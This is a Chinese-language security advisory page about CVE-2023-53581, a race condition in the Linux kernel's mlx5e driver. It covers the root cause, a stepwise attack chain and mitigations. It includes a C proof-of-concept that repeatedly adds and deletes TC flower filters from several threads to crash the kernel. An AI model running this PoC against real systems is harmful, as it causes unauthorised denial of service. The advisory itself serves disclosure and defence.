IPBUF安全漏洞报告
English
CVE-2023-53581 CVSS 4.7 中危

CVE-2023-53581 Linux内核mlx5e驱动竞争条件漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53581
漏洞类型
竞争条件漏洞(Race Condition)
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (net/mlx5e 驱动模块,Mellanox ConnectX系列网卡)

相关标签

Linux内核竞争条件mlx5eMellanoxTC offload内核崩溃本地提权拒绝服务race conditionkernel panic

漏洞概述

CVE-2023-53581是Linux内核中net/mlx5e驱动模块存在的一个竞争条件漏洞,该漏洞影响使用Mellanox ConnectX系列网卡的系统。漏洞位于mlx5e_tc_del_fdb_flow函数中,由于NOT_READY标志的检查在获取uplink_priv->unready_flows_lock互斥锁之前执行,导致存在竞态条件窗口。当工作队列任务并发地从unready_flows列表中移除某个流时,可能发生双重移除(double-removal),进而导致内核崩溃(general protection fault)。该漏洞的CVSS评分为4.7,属于中危级别,需要本地低权限即可触发,无需用户交互。攻击成功后将导致系统可用性完全丧失(内核panic),但不会影响机密性和完整性。受影响的Linux内核版本包括6.4.0-rc4之前的多个稳定版本,漏洞已在多个稳定分支中得到修复。该漏洞主要影响部署了Mellanox网卡并使用TC(Traffic Control)flow offload功能的数据中心和高性能计算环境。

技术细节

该漏洞的根本原因在于mlx5e_tc_del_fdb_flow函数中对NOT_READY标志的检查与unready_flows_lock互斥锁的获取之间存在时序问题。具体而言,当删除FDB(Forwarding Database)流时,代码首先检查流是否标记为NOT_READY,如果处于该状态则尝试从unready_flows链表中移除。然而,由于标志检查在加锁之前完成,在检查通过后到加锁成功之间存在一个时间窗口。在此窗口期内,工作队列任务可能并发执行并将该流从unready_flows列表中移除。当原始线程获得锁后继续执行移除操作时,就会发生双重移除,导致链表结构损坏。损坏的链表指针(包含0xdead000000000100等无效地址)在后续访问时触发general protection fault异常。从崩溃堆栈可以看出,崩溃发生在mlx5e_tc_del_fdb_flow+0xb3/0x340处,调用链为tc_setup_cb_reoffload -> fl_reoffload -> mlx5e_delete_flower -> mlx5e_flow_put -> mlx5e_tc_del_flow -> __mlx5e_tc_del_fdb_peer_flow。修复方案是将NOT_READY标志的检查移入uplink_priv->unready_flows_lock互斥锁保护的临界区内,确保检查与移除操作的原子性,从而消除竞态条件。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在一台安装了Mellanox ConnectX系列网卡(如ConnectX-5/6/7)并启用了TC flow offload功能的Linux系统上获得本地低权限访问。系统需运行受影响版本的内核(如6.4.0-rc4之前的版本),且mlx5e驱动已加载并配置了representor设备。
STEP 2
步骤2:权限提升
虽然漏洞标注为低权限(PR:L),但要触发该漏洞需要执行TC(traffic control)相关命令(如tc filter add/del),这些操作通常需要root权限或CAP_NET_ADMIN能力。攻击者需要先获取这些权限。
STEP 3
步骤3:触发竞争条件
攻击者通过快速并发地添加和删除TC flower过滤器,使mlx5e_tc_del_fdb_flow函数中的NOT_READY标志检查与工作队列的unready_flows列表清理操作产生竞态。具体方法是多线程同时执行tc filter add和tc filter del命令,增加触发窗口的概率。
STEP 4
步骤4:双重列表移除
当竞态条件触发时,一个线程检查到NOT_READY标志后尚未获取互斥锁,工作队列任务已将该流从unready_flows列表中移除。当原始线程获得锁后继续执行移除操作,导致对同一链表节点的双重移除,破坏链表结构。
STEP 5
步骤5:内核崩溃
损坏的链表指针(包含0xdead000000000100等无效地址)在后续访问时触发general protection fault异常,导致内核panic(kernel panic),系统完全不可用,需要重启恢复。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53581 PoC - Triggering race condition in mlx5e_tc_del_fdb_flow // This PoC demonstrates triggering the race condition by concurrently // manipulating TC flower filters while a workqueue processes unready flows. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> // Thread function to repeatedly add and delete TC flower filters void* race_thread(void* arg) { int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock < 0) { perror("socket"); return NULL; } struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; bind(sock, (struct sockaddr*)&addr, sizeof(addr)); for (int i = 0; i < 1000; i++) { // Add flower filter on mlx5e representor device // tc filter add dev <rep> protocol ip parent ffff: flower \ // dst_ip 192.168.1.1/32 action drop system("tc filter add dev eth0_0 protocol ip parent ffff: \ flower dst_ip 192.168.1.1/32 action drop 2>/dev/null"); // Immediately delete the filter to trigger NOT_READY path system("tc filter del dev eth0_0 protocol ip parent ffff: \ flower dst_ip 192.168.1.1/32 action drop 2>/dev/null"); usleep(1); // Small delay to increase race window } close(sock); return NULL; } int main() { pthread_t threads[4]; printf("CVE-2023-53581 PoC - mlx5e race condition\n"); printf("Requires: Mellanox mlx5e driver with TC offload enabled\n"); printf("Requires: Root privileges for TC filter manipulation\n\n"); // Create multiple threads to maximize race condition probability for (int i = 0; i < 4; i++) { pthread_create(&threads[i], NULL, race_thread, NULL); } for (int i = 0; i < 4; i++) { pthread_join(threads[i], NULL); } printf("PoC execution completed. Check dmesg for kernel crash.\n"); return 0; } // Compilation: gcc -o poc poc.c -lpthread // Run: sudo ./poc // Expected: System may experience kernel panic (general protection fault) // in mlx5e_tc_del_fdb_flow due to double-removal from unready_flows list.

影响范围

Linux Kernel < 6.4.0-rc4
Linux Kernel stable分支(已修复版本:30c281a77fb1, 65e64640e97c, 82ac62d76a00, e962fd5933eb, f7ceedd1d124)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)通过ethtool -K <interface> hw-tc-offload off命令禁用受影响网卡的硬件TC offload功能;2)限制只有受信任的管理员才能执行tc相关命令;3)监控系统日志,及时发现异常的内核错误信息;4)考虑在关键业务系统上部署内核看门狗,以便在内核崩溃时自动重启恢复服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表